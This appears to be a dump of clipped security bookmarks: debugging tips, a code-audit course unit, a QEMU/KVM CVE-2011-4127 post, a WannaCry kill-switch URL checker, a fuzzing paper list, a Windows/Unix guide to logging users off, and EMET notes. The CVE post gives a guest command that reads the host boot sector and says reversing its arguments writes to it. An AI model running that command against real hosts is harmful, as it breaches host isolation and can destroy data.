#2 0x000000010d3b0ec4 in main (argc=1,  
argv=0x7fff6cfafbf8) at main.c:25`

Of course, not and by default a stack trace is shown starting from _main_
function. You can change this behavior by using the following command:

`(gdb) set backtrace past-main`

Now we see an additional frame:

`(gdb) where  
#0 0x000000010d3b0e90 in bar () at main.c:15  
#1 0x000000010d3b0ea9 in foo () at main.c:20  
#2 0x000000010d3b0ec4 in main (argc=1,  
argv=0x7fff6cfafbf8) at main.c:25  
#3 0×000000010d3b0e74 in start ()`

\- Dmitry Vostokov @ DumpAnalysis.org \+ TraceAnalysis.org -

Forthcoming Training: Accelerated Mac OS X Core Dump Analysis

Sponsored link: Professional Software Debugging Services

# Penetration Testing and Vulnerability Analysis - Code Analysis - Source Code
Analysis

**Created:**| _6/25/2009 3:34:13 PM_  
---|---  
**Updated:**| _6/25/2009 3:34:23 PM_  
**Author:**| __  
**Tags:**| _Tutorials code-checks_  
  

## Source Code Analysis

This unit is largely self-directed and exists to warm you up to the course
material. Watch the two videos below of Vinnie Liu below and read Jared
DeMott's presentation from BlackHat, then complete the homework in the
attached PDF.

  * Interview with Vinnie Liu from Microsoft BlueHat 8
  * Real-world Code Review with Vinnie Liu from Microsoft BlueHat 8
  * Jared DeMott - Source Code Auditing

### Homework

Your first homework is to identify and understand a vulnerability in an open-
source software project and to write a brief report describing the
vulnerability as if you found it during a code review. The attached PDF
contains verbose instructions for how to do this. Read it and read it well,
then report your findings to me. Triple word score if you find a 0-day instead
of reporting on a previously known vulnerability\!

### Reading Material

  * Dan Bernstein - Qmail at 10 years - Reflections on Security
  * Fortify Software's Taxonomy of Coding Errors that Affect Security
  * Setuid Demystified, Hao Chen, David Wagner, Drew Dean

# CVE-2011-4127: privilege escalation from qemu / KVM guests | Richard WM Jones
**Created:**| _1/4/2012 10:44:48 PM_  
---|---  
**Updated:**| _1/4/2012 10:44:48 PM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

# CVE-2011-4127: privilege escalation from qemu / KVM guests

Paolo Bonzini discovered that you can issue SCSI ioctls to virtio devices
which are passed down to the host.

The very unfortunate part about this is it easily allows guests to read and
write parts of host devices that they are not supposed to. For example, if a
guest was confined to host device `/dev/sda3`, it could read or write other
partitions or the boot sector on `/dev/sda`.

In your guest, try this command which reads the host boot sector:

[code]

    sg_dd if=/dev/vda blk_sgio=1 bs=512 count=1 of=output
    
[/code]

Swap the `if` and `of` arguments around to exploit the host.

Here’s Paolo’s write-up on LKML.

Here is the libguestfs mitigation patch. The libvirt mitigation patch.

# Researchers Offer 'BLADE' to Cut PC Exploitation

**Created:**| _10/15/2010 1:08:41 PM_  
---|---  
**Updated:**| _10/15/2010 1:10:51 PM_  
**Author:**| __  
**Tags:**| _Exploit network-security new? Defense_  
  

## Researchers Offer 'BLADE' to Cut PC Exploitation

<img src='img/Temp2_6824.png' alt='PDF' /><img src='img/Temp2_6827.png'
alt='Print' /><img src='img/Temp2_6823.png' alt='E-mail' />

Friday, 15 October 2010 05:46

<img src='img/Temp2_6825.png' alt='Bookmark and Share' />

<img src='img/Temp2_6826.png' alt='News Image' />

Drive-by-downloads could soon become history, according to a research
paperfrom a group of academics at Georgia Tech.

Their system, called the BLADE \(BLock All Drive-by download Exploits\), is
based on user consent and is guaranteed to prevent downloads through the
backdoor from unsolicited, malicious programs.

Now here is a tool that sounds impressive and, according to its developers,
can immunize Window systems from the thousands of drive-by download exploits
that infect our computers every day. It works within the kernel of the
operating system, the bridge between applications and data processing, serving
to protect the crack between the layers where drive-by exploits can covertly
install malicious binary coding.

Basically, BLADE removes files, or unrequested downloads, to a “secure zone”
\(a virtual storage area\). Before you shout, “It’s a sandbox\!” -- no,
according to the researchers, the technique used here is different. BLADE is
based on user consent. It tracks user mouse clicks and collects information on
user download authorizations \(“disk footprints”\). This information is
matched against files in the secure zone. Only matching files are remapped to
the user’s file system. Unlike sandboxing, no execution of files takes place
in the secure zone.

BLADE developers are claiming 100 percent effectiveness during the test period
to date. Internet Explorer 6.0 configured with Adobe Reader 8.0, Adobe Flash
8.0, and JVM 5.0 was found to be the most vulnerable to exploits, but,
thankfully, not one of the latest zero-day exploits bypassed the BLADE system.
See a YouTube live demo here.

The researchers are assured from results in the lab that signals used to
convey or interpret users’ responses cannot be forged by attackers, although
testing so far has only been carried out from user “mouse clicks.” In their
words, “adding support for keyboard input using the same principle should be
straightforward.”

Another “subtle issue” occurs when the “Correlator” that compares downloaded
files against those in the secure zone has to perform a domain name lookup in
the local DNS cache when resolving to a corresponding IP address. However,
testing has proved to be successful due to the “trusted kernel component,” the
researchers say. Results are impressive: "BLADE was successful at blocking all
7,925 attempted drive-by Malware installs while generating zero false alarms.
Furthermore, all downloaded malicious binaries were safely quarantined into
the secure zone," the researchers contend.

So, is this truly the answer to drive-by exploits? Certainly they claim to
have countermeasures to spoofing attacks, download injection and process
hijacking attacks, and coercing attacks. Well, perhaps not quite: As BLADE is
effective only against a binary executable, it cannot prevent the covert
installation of interpreted scripts. But it’s still pretty good, as the
researchers note that “the overwhelming majority of current drive-by download
Malware is delivered as binaries.”

The next stage will be a free Internet release of BLADE to the public, thanks
to funding provided by the National Science Foundation, the US Army Research
Office, and the Office of Naval Research. This situation has already raised
one or two concerns about the level of scrutiny coming from a project with
governmental backing. What’s more, the expectations for this tool have been
building. There has been extensive news coverage about the project with many
promises about its delivery, so we are all now expecting something that will
do what it says.

Of course, this raises the question: How is it we depend upon a group of open-
source and university researchers to come up with system that is 100 percent
effective, when, according to BLADE’s research, “miss” rates from current
anti-virus programs we pay for are running at 30 percent effectiveness? This
is similar to rates for browser-based security and operating system-provided
prevention. Still, such an application is a welcome advance in security for
any PC user, and a big score for open-source and academic research.

_byJart Armin_

  

# OWASP Incident Response Project - OWASP

**Created:**| _5/15/2017 9:24:58 PM_  
---|---  
**Updated:**| _5/15/2017 9:24:58 PM_  
**Author:**| __  
**Tags:**| _bookmark incident response_  
  

  

# OWASP Incident Response Project

Jump to: navigation, search

  * Main
  * Acknowledgements
  * Road Map and Getting Involved
  * Project About

<img src='img/Temp2_5675.jpg' width='2400' height='160' alt='OWASP Project
Header.jpg' />

## OWASP Top 10 Guidance for Incident Response

## Audience

Breaches happen every day as you learn about them in the news. Is your
business prepared? This project provides a proactive approach to Incident
Response planning. The intended audience of this document includes business
owners to security engineers, developers, audit, program managers, law
enforcement & legal council. This guidance should be considered when building
a comprehensive approach. This guidance is intends to guide the reader on
topics that need to be part of the plan in your organization, this includes
those responsible for managing the business and technical risk of the entire
organization.

## Licensing

Creative Commons Attribution-NonCommercial-ShareAlike

## Project Sponsor

OWASP Top 10 Guidance for Incident Response project is sponsored by ProactiveRISK Inc.. <img src='img/Temp2_5676.jpg' width='196' height='50' alt='Proactiverisk logo v2.jpg' /> | 
## In Print

Version 1.0 .PDF Version

## Presentation

Slides

## Project Leader

Tom Brennan @brennantom

## Version 2.0

Want to help out and make this project BETTER? Add your comments here Version
2.0 GoogleDocs - Add Comments

## Related Projects

OWASP Randsomware OWASP Top 10 OWASP Cheat Sheets OWASP Mod\_Security CRS Web Hacking Incident Database | 
## News and Events

  * Release date 12/7/2015 NYC Chapter Meeting
  * Malware

## Classifications

|  <img src='img/Temp2_5678.jpg' width='85' height='85' alt='Owasp-incubator-
trans-85.png' />  
---  
<img src='img/Temp2_5677.jpg' width='85' height='35' alt='Owasp-defenders-
small.png' />  
<img src='img/Temp2_5679.jpg' width='190' height='66' alt='Cc-button-y-sa-
small.png' />  
<img src='img/Temp2_5680.jpg' width='190' height='66' alt='Project Type Files
DOC.jpg' />  
Categories:

  * OWASP Project
  * OWASP Builders
  * OWASP Defenders
  * OWASP Document

  

# Wannacrypt proxy use checker

**Created:**| _5/15/2017 9:25:09 PM_  
---|---  
**Updated:**| _5/15/2017 9:25:09 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

  

Wannacrypt proxy use checker

Raw

**InternetOpenUrlA.py** Permalink

1 | \#\!/usr/bin/env python3  
---|---  
2 |   
3 | import sys  
4 | import ctypes  
5 |   
6 | target\_url = sys.argv\[1\]  
7 | buffer\_url = ctypes.c\_char\_p\(bytes\(target\_url,"ascii"\)\)  
8 | print\("\{:20s\} : \{\}".format\("Input URL object",buffer\_url\)\)  
9 |   
10 |   
11 | HINTERNET = ctypes.windll.wininet.InternetOpenA\(0,1,0,0,0\)  
12 | result = ctypes.windll.wininet.InternetOpenUrlA\(HINTERNET,buffer\_url,0,0,0x84000000,0\)  
13 | print\("\{:20s\} : \{:08x\}".format\("Internet Handle",HINTERNET\)\)  
14 | print\("\{:20s\} : \{\}".format\("Accessed URL",target\_url\)\)  
15 | print\("\{:20s\} : \{\}".format\("Result",result\)\)  
16 |   
17 | if result == 0:  
18 |  action = "Detonation"  
19 |  error\_code = ctypes.GetLastError\(\)  
20 |  print\("\{:20s\} : \{\}".format\("Win32 error",error\_code\)\)  
21 |  print\("\{:20s\} : \{\}".format\("Win32 error message",ctypes.FormatError\(error\_code\)\)\)  
22 | else:  
23 |  action = "Malware won't run"  
24 |   
25 |   
26 | print\("\{:20s\} : \{\}".format\("Action",action\)\)  
<img src='img/12125_11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

  

# Windbg: Using .shell to search text - Thou shalt not PANIC - Site Home -
MSDN Blogs

**Created:**| _4/21/2011 10:08:53 AM_  
---|---  
**Updated:**| _4/21/2011 10:08:53 AM_  
**Author:**| __  
**Tags:**| _windbg_  
  

### Windbg: Using .shell to search text

<img src='img/Temp2_9533.gif' /> Cuko

6 Sep 2008 2:02 PM

  * 0

To me one of the most useful commands when using windbg is .shell. According
to Debugging Tools For Windows documentation

“The **.shell** command launches a shell process and redirects its output to
the debugger, or to a specified file.”

So, why would I find that interesting and useful in my day to day work to
launch a shell process ? Maybe to impress friends \(that know nothing about
debugging\) with strange commands or make it sound very complicated. Well,
actually I use .shell in one of the most simple tasks we all do everyday and
that´s finding text. Now you might be thinking, so why don´t you use Ctrl+F
and find what you want ? \(We will talk about this in a couple of minutes\)

So, has I was saying, I use it a lot to find text inside memory dumps and this
saves me time. Since .shell launches a shell process, the key here is to use
the old FIND command from DOS to help us. FIND allows to search for text
inside a file. If you open a command line and do FIND /? You will see
something like below.

Searches for a text string in a file or files.

FIND \[/V\] \[/C\] \[/N\] \[/I\] \[/OFF\[LINE\]\] "string"
\[\[drive:\]\[path\]filename\[ ...\]\]

/V Displays all lines NOT containing the specified string.

/C Displays only the count of lines containing the string.

/N Displays line numbers with the displayed lines.

/I Ignores the case of characters when searching for the string.

/OFF\[LINE\] Do not skip files with offline attribute set.

"string" Specifies the text string to find.

\[drive:\]\[path\]filename

Specifies a file or files to search.

If a path is not specified, FIND searches the text typed at the prompt

or piped from another command.

The sample below is an example \(a very simple one\) of finding a specific
string in the call stack. I use it a lot to find specific values inside
objects properties but i´m sure you will find other useful uses for this
command.

0:000:x86> .shell -ci "~\*kb" FIND /I "BaseCachedThreadroutine"

0c8ffdb0 75721c6b 00512fe0 0c8ffdc8 76c9e3f3
rpcrt4\!BaseCachedThreadRoutine+0x9e

0effff60 75721c6b 00512fe0 0effff78 76c9e3f3
rpcrt4\!BaseCachedThreadRoutine.shell: Process exited

The argument –ci specifies that the output of the command “~\*kb” is to be
used as input for FIND command. There are some more options that you can look
at Debugging Tools For Windows help.

Till next time. Have Fun\!\!\!

Bruno

# csw09-slides.pdf

**Created:**| _7/9/2010 12:16:08 PM_  
---|---  
**Updated:**| _7/9/2010 12:16:08 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing conference-material_  
  
<img src='img/csw09-slides.pdf' />

# papers « fuzzing.info

**Created:**| _10/30/2012 12:58:13 PM_  
---|---  
**Updated:**| _10/30/2012 12:58:13 PM_  
**Author:**| __  
**Tags:**| _papers fuzzing_  
  

# papers

## **\[2012\]**

**Fuzzing: The state of the art**  _Richard McNally, Ken Yiu, Duncan Grove and
Damien Garhardy \(Australian DoD\)_  
A study of recent advances in fuzzing, surveying the current state of
technologies and concepts in use today.  
DSTO-TN-1043 PR \[pdf\]

**GDI Font Fuzzing in Windows Kernel for Fun**  _Lee Ling Chuan & Chan Lee Yee  
_Fuzzing the GDI TrueType & GDI Bitmap fonts on the windows platform  
bh-eu-12-Lee-GDI\_Font\_Fuzzing-WP \[pdf\]

**SAGE: Whitebox Fuzzing for Security Testing**  _Patrice Godefroid & Michael
Y. Levin & David Molnar_  
An article in Communications magazine introducing Microsoft’s highly regarded
SAGE fuzzer.  
cacm2012 \[pdf\]

## **\[2011\]**

**Fuzz Testing for Dummies**  _Art Manion & Michael Orlando_  
Introduction to the basics of fuzzing, discussion of CERT fuzzing tools
\(BFF/FOE\) and results/vulns discovered  
ag\_16b\_ICSJWG\_Spring\_2011\_Conf\_Manion\_Orlando \[pdf\]

**Showing how security has \(and hasn’t\) improved, after ten years of
trying** _Dan Kaminsky & Michael Eddington & Adam Checchitti  
_A case study of using fuzzing to attempt to analyse whether the general state
of software security has improved over the last ten years  
Showing How Security Has Improved \[pdf\]

**Offset-Aware Mutation Based Fuzzing for Buffer Overflow Vulnerabilities: Few
Preliminary Results**  _Sanjay Rawat & Laurent Mounier_  
Using taint analysis to modify specific byte offsets in the original seed
files to hunt down and execute dangerous code paths  
offset-aware \[pdf\]

## **\[2010\]**

**Industrial Bug Mining** _Ben Nagy  
_A high-level view of the end-to-end fuzzing process, focussing on bug triage,
scaling, binary instrumentation  
BlackHat-USA-2010-Nagy-Industrial-Bug-Mining-slides \[pdf\]

**Zero-Knowledge fuzzing** _Vincenzo Iozzo  
_Building and applying a fuzzer without the need to have an in-depth
understanding of the protocol/format/input being manipulated  
0knowledge\_fuzzing\_paper \[pdf\]

**Crash analysis with bitblaze**  _Charlie Miller & UC Berkeley  
_Introduction to ‘bitblaze’ – a tool to determine exploitability and priority
of crashes post-fuzzing  
CrashAnalysis \[pdf\]

**Introduction to Fuzzing**  _Dan Guido  
_A university-level introduction to major fuzzing topics  
FuzzingIntro\_fall2010 \[pdf\]

**Prospecting for rootite** _Ben Nagy & The Grugq_  
Overview of obtaining seed files and solving the Set Cover Problem, for
maximum fuzzer code coverage  
ben-nagy.prospecting-for-rootite.2010 \[pdf\]

**In Memory Fuzzing**  _sinn3r  
_Introduction and how to use a new in-memory fuzzing tool  
memory-fuzzing \[pdf\]

**Fuzzing: The SMB Case**  _Laurent Gaffie  
_Introduction to SMB, how to approach fuzzing using a library of packet
captures, case-study of bugs found  
stratsec—HackitoErgoSum-2010—Fuzzing-the-SMB-Case \[pdf\]

**Letting your fuzzer know about target’s internals**  _Rodrigo Rubira Branco_  
Using feedback from debuggers and taint analysis to direct fuzzing efforts  
troopers\_fuzzer \[pdf\]

**TaintScope: A Checksum-Aware Directed Fuzzing Tool for Automatic Software
Vulnerability Detection**  _Tielei Wang & Tao Wei & Guaofe Gu & Wei Zou  
_Defeating the common problem of invalid checksums by using taint analysis  
taintscope-oakland \[pdf\]

**Fuzzing in the cloud \(Microsoft position statement\)**_Patrice Godefroid &
David_ _Molnar_  
A statement released by Microsoft suggesting that “the cloud” will
revolutionise fuzzing, and why.  
fuzzing\_in\_the\_cloud \[pdf\]

**How to FAIL at Fuzzing** _Ben Nagy_  
A high-level run-through of Ben’s Kiwicon talk, offering some insightful but
rarely discussed ideas  
ben\_nagy\_how\_to\_fail\_at\_fuzzing \[pdf\]

**Babysitting an army of monkeys** _Charlie Miller  
_Fuzzing 4 products \(Acrobat Reader PDF, OS X Preview PDF, OpenOffice PPT, MS
Office PPT\) with 5 lines of python  
cmiller-CSW-2010 \[pdf - file has been messed up. does anyone have a better
copy?\]__

## **\[2009\]**

**Fuzzgrind: an automatic fuzzing tool** _Gabriel Campana  
_Using taint analysis to ensure a fuzzer reaches all possible code paths. Uses
STP and Valgrind  
09-hacklu-fuzzgrind \[pdf\]

**Fuzzing the phone in your phone** _Charlie Miller & Collin Mulliner  
_Searching for phone-application specific vulnerabilities in smartphones  
BHUSA09-Miller-FuzzingPhone-PAPER \[pdf\]

**Demystifying Fuzzers** _Michael Eddington  
_The process of applying fuzzers to find security flaws, and fuzzers
involvement in the SDL  
BHUSA09-Eddington-DemystFuzzers-PAPER \[pdf\]

**Fuzzing for security flaws** _John Heasman_  
University-level introduction to the main concepts behind fuzzing and fuzzers  
04-fuzzing \[pdf\]

**Deep Fuzzing MS Word / Office \(With Ruby\)** _Ben Nagy  
Massively parallelized high-speed fuzzing of MS Office documents  
_A New Fuzzing Framework \[pptx\]

**Taint-based Directed Whitebox Fuzzing**  _Vijay Ganesh & Tim Leek & Martin
Rinard  
_Using taint analysis as feedback into the mutation process to get more
coverage when fuzzing  
icse09 \[pdf\]

**Making software dumber**  _Tavis Ormandy  
_Feedback-directed fuzzing using taint analysis to explore an applications
internals. Introduction to google tool Flayer  
making\_software\_dumber \[pdf\]

**Fusil the fuzzer** _Victor Stinner  
_Presenting Fusil: a python fuzzing framework that has claimed bugs in a
variety common applications.  
fosdem\_2009 \[pdf\]

## **\[2008\]**

**zzuf – multiple purpose fuzzer**  _Sam Hocevar  
_Introduction to using the zzuf multi-purpose input fuzzer  
Zzuf \[pdf\]

**Fuzz By Number – More Data About Fuzzing Than You Ever Wanted To Know**
_Charlie Miller  
_A showdown between GPF, Taof, ProxyFuzz, Mu-4000, Codenomicon, beSTORM, and
some application specific fuzzers.  
cmiller\_cansecwest2008 \[pdf\]

**Fuzzing 101**  _Mike Zusman_  
A two-part NYU/Poly.edu introduction to fuzzing – history, the process,
ActiveX fuzzing, Protocol fuzzing with Spike  
fuzzing-1 fuzzing-2 \[pdf\]

**GSM Protocol Fuzzing**  _Harald Welte_  
Introduction to GSM, application of fuzzing to GSM  
gsm\_fuzzing \[pdf\]

**Exposing Vulnerabilities in Media Software**  _David Thiel  
_Discussion of fuzzing applied specifically to media software. Includes case
studies.  
iSEC-Thiel-Exposing-Vulnerabilities-Media-Software-Presentation \[pdf\]

**Grammar-based Whitebox Fuzzing**  _Patrice Godefroid & Adam Kiezun & Michael
Y. Levin  
_In-depth paper on how to use whitebox fuzzing to test complex highly-
structured input of applications using a grammar of their valid inputs.  
pldi2008 \[pdf\]

**KLEE: Unassisted and Automatic Generation of High-Coverage Tests for Complex
Systems Programs** Cristian Cadar & Daniel Dunbar & Dawson Engler  
Introduction and overview of KLEE, a tool that can generate test input and
achieve considerably high coverage of code within the target application  
klee-osdi-2008 \[pdf\]

## **\[2007\]**

**Fuzzing Sucks\! Introducing the sulley fuzzing framework** _Pedram Amini &
Aaron Portnoy  
_An introduction to why sulley was developed, followed by a brief discussion
of it’s various components and how it works.  
introducing\_sulley \[pdf\]

**Fuzzing & exploiting wireless device drivers** _Sylvester Keil & Clemens
Kolbitsch_  
Fuzzing 802.11 drivers  
DeepSec\_\_Keil\_Kolbitsch – Presentation Virtual\_Fuzzing \[pdf\]

**KiF – a stateful SIP fuzzer**  _Humberto J. Abdelnur & Radu State & Olivier
Festor  
_Analysis of fuzzing SIP and discussion of KiF, a SIP fuzzing tool, and also
discusses vulnerabilities discovered.  
IPTCOMM2007\_presentation \[pdf\]

**Fuzzing in Microsoft and Fuzzguru Framework** _John Neystadt  
_A brief overview of microsoft’s Fuzzguru framework  
OWASP\_IL\_7\_FuzzGuru \[pdf\]

**Analysis of Mutation and Generation-Based Fuzzing**  _Charlie Miller &
Zachary N.J. Peterson_  
A discussion and research-backed comparison of generational vs mutational
fuzzing against PNG files**  
** analysisfuzzing \[pdf\]

**Wi-Fi Advanced Fuzzing**  _Laurent Butti  
_Fuzzing 802.11 and discussion of some discovered vulnerabilities  
bh-eu-07-Butti \[pdf\]

**Fuzzing Frameworks**  _Pedram Amini & Aaron Portnoy  
_Discussion of existing fuzzing frameworks, introduction and exploration of
the Sulley fuzzing framework  
bh-usa-07-amini\_and\_portnoy-WP \[pdf\]

**Fuzzing with Code Coverage**  _Charlie Miller  
_Using code coverage results to improve fuzzing, find better crash testcases.
Also touches on evolutionary fuzzing.  
cmiller\_toorcon2007 \[pdf\]

**Automated Whitebox Fuzz Testing**  _Patrice Godefroid & Michael Y. Levin &
David Molnar_  
Microsoft & UC Berkeley’s paper on whitebox fuzzing, including symbolic
execution, constraint solving, and discussion of Microsofts SAGE.  
TR-2007-58 \[pdf\]

**Flayer: Exposing Application Internals** _Will Drewry & Tavis Ormandy_  
Introduction to the flayer tool; a dynamic taint analysis integrated within
valgrind.  
flayer\_exposing\_applications\_internals \[pdf\]

## **\[2006\]**

**The evolving art of fuzzing** _Jared DeMott  
_An early paper covering the major aspects of fuzzing  
The\_Evolving\_Art\_of\_Fuzzing\_paper \[pdf\]

## \[2005\]

**The Art of File Format Fuzzing**  _Michael Sutton & Adam Greene  
_The process of fuzzing file formats on multiple platforms  
bh-jp-05-sutton-greene \[pdf\]

## **\[2002\]**

****The Advantages of Block-Based Protocol Analysis for Security Testing****
_Dave Aitel_** _  
_** Breaking protocols down into logical blocks and creating models to fuzz
from. Introduction to the infamous SPIKE fuzzer.  
advantages\_of\_block\_based\_analysis \[pdf\]

## **\[1990\]**

**An empirical Study of the Reliability of UNIX Utilities** _Barton P Miller &
Lars Fredriksen & Bryan So  
_The original paper studying unexpected input into unix utilities.  
fuzz \[pdf\]

# language agnostic - Algorithms and data structures that are not mainstream?
- Stack Overflow

**Created:**| _5/29/2011 9:20:42 PM_  
---|---  
**Updated:**| _5/29/2011 9:20:52 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Algorithms and data structures that are not mainstream? \[closed\]

up vote 25 down vote favorite **36** |  There are a subset of algorithms and data structures that are very common, well-studied and very helpful. Examples of these are Topological sort, quicksort, depth-first search; on the other hand, dictionaries, trees, linked-lists and to a lesser extent red-black trees, and tries, are examples of the latter. However, there are other algorithms and DS that are not mainstream \(not easily found in books\) that we have learned on our own, have become a useful tool, and we are proud of using because they were hidden... maybe we found it in a dark paper from the dawn of computation in the 60s and it is still useful today, or we just made them up \(why not?\). My pet one is binary decision diagrams \(BDDs\). What is yours? **EDIT** : A pity this was closed, but in all fairness, it was a duplicate, even if new answers were provided. In a scholarly fashion, I will summarize and thank everybody for answering. However, to appease my sense of "duplicate failure", I should also pay my respect to the original poster of the question \(f3lix\) and to the StackOverflow community by summarizing both posts, so a complete document remains. Thus \(\!\), here is the list of algorithms and data structures that are not _that_ common, duplicates removed:
  * Bloom filters
  * Maintaining order in a list
  * Elevator algorithm
  * Cuckoo hashing
  * Skip lists
  * Modifiable priority queues \(can someone provide a link for this, please?\)
  * Non-Deterministic Finite State Machines
  * Interval skip lists
  * Dancing links
  * Tries \(or here, with a interesting use of it at this site\)
  * Suffix tries and Suffix arrays
  * Splay trees
  * Heap-ordered search trees \(can someone provide a link for this, please?\)
  * Spatial indices, particularly R-Trees and KD-Trees
  * Bit arrays
  * Ropes
  * Van Emde-Boas trees
  * MX-CIF Quadtrees
  * HAMTs
  * Inverted indices
  * Disjoint sets
  * Pairing heaps
  * Treaps
  * Binary space partitioning trees
  * Binary decision diagrams
  * Fusion trees
  * B+ trees
  * Quad trees
  * Octrees
  * Range trees \(how much we love trees...\)
  * Linear hashing and Spiral hashing
  * Huffman trees
  * Circular buffers
  * Finger Trees
  * Simplex algorithm
  * Zobrist Hashing

I hope this will be useful as a reference at some point.  
---|---

# Command Line Kung Fu: Episode \#63: Death To Users\!

**Created:**| _11/24/2009 7:22:48 PM_  
---|---  
**Updated:**| _11/24/2009 7:23:01 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#63: Death To Users\!

Tim kicks it off:  
  
Last week we discussed ways to determine who is logged in to a system. Now
what? Well, what is the most fun thing to do with that information? Of course,
kick those users off the system.  
  
Windows has two commands we can use, loggoff and rwinsta \(Reset WINdows
STAtion\), and both do the same thing. Both commands require either a session
name or session id, and both accept an /server option. How do we get the
session name or id? Last week's post explained how to use qwinsta to get that
info.  
  
I didn't cover it last week, but there is another command, query session, that
gives the same output as qwinsta. It has an undocumented switch /sm which
returns the session id first which is easier for parsing. Unfortunately, it
isn't available in XP so we will skip it.  
  

[code]

    C:\> **qwinsta /server:Alpha**  
     SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE  
    console           shemp                     0  Conn    wdcon  
    rdp-tcp                                 65537  Listen  rdpwd  
    rda-tcp#5         larry                     1  Active  wdica  
    rda-tcp#6         moe                       2  Active  wdica  
                      curly                    16  Disc    wdica
    
[/code]

  
We want to kick Larry and we have four ways to do it.  
  

[code]

    C:\> **logoff /server:Alpha rda-rcp#5**  
     C:\> **logoff /server:Alpha 1**  
     C:\> **rwinsta /server:Alpha rda-rcp#5**  
     C:\> **rwinsta /server:Alpha 1**
    
[/code]

  
Why stop with just Larry, we want to kick off everyone\! What if we try to
logoff the listener?  
  

[code]

    C:\> **logoff /server:Alpha rda-rcp**  
     If you reset this session, all users using this protocol will be logged off,  
    Continue (n=no)? y  
    C:\> **qwinsta /server:Alpha**  
     SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE  
    console           shemp                     0  Conn    wdcon  
    rdp-tcp                                 65537  Listen  rdpwd  
                      larry                     1  Disc    wdica  
                      moe                       2  Disc    wdica  
                      curly                    16  Disc    wdica
    
[/code]

  
We disconnected the users, but we didn't kill their session. The behavior is
different depending if a listener or a active/disconnected session is
specified. Unfortunately, rwinsta acts the same way so that won't help. So
then how do we kill the session? We will need to get the session id's and
logoff each one.  
  

[code]

    C:\> **for /F "tokens=2,3" %i in ('qwinsta /server:xen03 ^| findstr  "Active Disc"') do  
     @echo  %i | findstr /v "[a-z]" && logoff /server:xen03 %i || logoff /server:xen03 %j**
    
[/code]

  
I'll just explain the differences since you can get most of the details from
the last post. Previously, we worked with tokens 1 and 2 in order to find the
username. This week we want token 2 or 3 in order to get the session id.
Remember, a space is the default delimiter and is therefore ignored at the
beginning of the line. The first token is either the session name or the
username, the second token is either the username or session id.  
  
Now let's look at the logic used to find the session id and ultimately logoff
the user. Stealing from Episode 47 we use "the shorthand \[command1\] &&
\[command2\] || \[command3\]. If command1 succeeds, command2 will run. If
command1 has an error, command3 will execute." In our example, command1 looks
at the variable %i to ensure it does NOT contain a letter \(and is therefore a
number\). If %i is determined to be a number \(session id\), then we use it to
logoff the user, if %i is not a number then %j is our session id and is used
to logoff the user.  
  
So now we have everyone off the server. Now we can take it offline and install
Windows 2008 R2 \(unless you're Hal\).  
  
Hal weighs in:  
  
Just for that crack, Tim, I'm not going to invite you to my Windows 7 release
party...  
  
In general, to kick a user off a Unix system you need to either kill their
command shell or one of the ancestors of that process-- like the SSH daemon
that spawned their shell or the X server that's supporting their windows. Back
in Episode 22 I noted that the pkill command was very handy for this, so let's
review:  
  

[code]

    # **pkill -u hal**         # kicks hal off the system by killing all hal-owned procs  
    # **pkill -P 1 sshd**      # kicks all SSH logins off system, master daemon still running  
    # **pkill X**              # terminate GUI session on console
    
[/code]

  
The above commands are all fairly indiscriminate. For example, the first
command kicks a single user off the system by terminating all processes owned
by that user. This includes not only their command shells, but also any other
jobs that user might have running. That might not be the best idea if the user
had a legitimate but long-running job that shouldn't have been terminated.  
  
However, pkill also lets us be more selective. For example, "pkill -u hal
bash" would kill only the bash command shells running as user hal. Actually
bash apparently traps SIGTERM, so we need to explicitly use SIGKILL:  
  

[code]

    # **pkill -9 -u hal bash**
    
[/code]

  
The other, less discriminating versions of the pkill command I showed you
earlier work without the "-9" because they're terminating ancestor processes
of users' shells, which forces those shells to exit.  
  
Another approach is to terminate only the processes associated with a login
session on a particular tty. The who command will show us the tty associated
with each logged in user, and we can use "pkill -t ..." to terminate only
processes associated with that pty:  
  

[code]

    # **who**  
     moe      pts/0        2009-10-03 07:51 (host1.deer-run.com)  
    larry    pts/2        2009-10-03 07:51 (host2.deer-run.com)  
    hal      pts/3        2009-10-03 07:52 (host3.deer-run.com)  
    # **pkill -9 -t pts/3**
    
[/code]

  
By the way, the "-t" option is not unique to pkill: many other Unix commands
allow you to get information for a single tty. For example, on older systems
that don't have pkill I can use "ps -t ..." to do something similar:  
  

[code]

    # **who**  
     moe      pts/0        2009-10-03 07:51 (host1.deer-run.com)  
    larry    pts/2        2009-10-03 07:51 (host2.deer-run.com)  
    hal      pts/3        2009-10-03 08:06 (host3.deer-run.com)  
    # **ps -t pts/3**  
      PID TTY          TIME CMD  
     1511 pts/3    00:00:00 bash  
    # **kill -9 1511**
    
[/code]

  
Similarly, the other pkill variants I've shown you in this Episode can be
accomplished with a combination of ps, grep, and kill if you happen to have a
Unix machine without pkill installed.

# Enhanced Mitigation Experience Toolkit 2.0

**Created:**| _12/2/2010 7:37:09 PM_  
---|---  
**Updated:**| _12/2/2010 7:37:36 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit Microsoft_  
  

# Enhanced Mitigation Experience Toolkit 2.0

| **Rate:** |   
---|---  
**Views:** 15 |  <img src='img/Temp2_2727.gif' /> <img src='img/Temp2_2726.gif' /> <img src='img/Temp2_2725.gif' /> <img src='img/Temp2_2724.gif' /> <img src='img/Temp2_2723.gif' />  
**About this Video**

In August 2010 we released the new version of EMET with brand new mitigations
and a new user interface experience. Two new mitigations are included in this
version: Mandatory ASLR \(breaking current ROP exploits relying on DLLs
located at predictable addresses\) and Export Address Table filtering \(EAF\)
\(breaking virtually the big majority of shellcodes from running\). EMET is
not bulletproof but will break a lot of the bad guys' tools and exploits. EMET
makes it possible for f.i. to have SEHOP on an XP machine.

  
**Presented by** Fermin J. Serna & Andrew Roths

# Multi-Dimensional Analog Literals in C++

**Created:**| _6/10/2011 7:50:59 AM_  
---|---  
**Updated:**| _6/10/2011 7:51:12 AM_  
**Author:**| __  
**Tags:**| _C++ LOLZ programming_  
  

# Multi-Dimensional Analog Literals

Version 2006-05-24, by Eelis

